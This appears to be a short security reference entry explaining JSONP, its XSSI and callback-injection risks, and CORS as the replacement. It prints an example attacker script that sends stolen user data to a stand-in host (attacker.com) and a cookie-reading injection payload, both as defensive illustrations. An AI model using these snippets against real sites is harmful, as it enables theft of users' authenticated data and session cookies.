JSONP (JSON with Padding)

JSONP (JSON with Padding) is a legacy technique for bypassing Same-Origin Policy to load cross-origin data by wrapping JSON in a callback function. While it enabled cross-domain data sharing before CORS, it introduces security risks and is largely deprecated.

How JSONP Works

// Client requests with callback parameter
<script src="https://api.example.com/data?callback=handleData"></script>

// Server returns executable JavaScript
handleData({"name": "John", "email": "john@example.com"});

// Client defines callback to receive data
function handleData(data) {
  console.log(data.name);
}

Security Risks

Data Theft (XSSI)

// Attacker's page steals authenticated data
<script>
function stealData(data) {
  fetch('https://attacker.com/steal', {
    method: 'POST',
    body: JSON.stringify(data)
  });
}
</script>
<script src="https://victim.com/api/user?callback=stealData"></script>

JSONP Injection

// If callback is not sanitized:
// Request: /api?callback=alert(document.cookie)//
// Response: alert(document.cookie)//({...})
// Results in XSS

Why JSONP is Dangerous

  • Executes arbitrary code from third parties
  • No way to verify response integrity
  • Credentials sent automatically (cookies)
  • Enables XSSI attacks
  • Callback injection can lead to XSS

Modern Alternative

Use CORS with proper Access-Control-Allow-Origin headers instead of JSONP for cross-origin data access.

See Also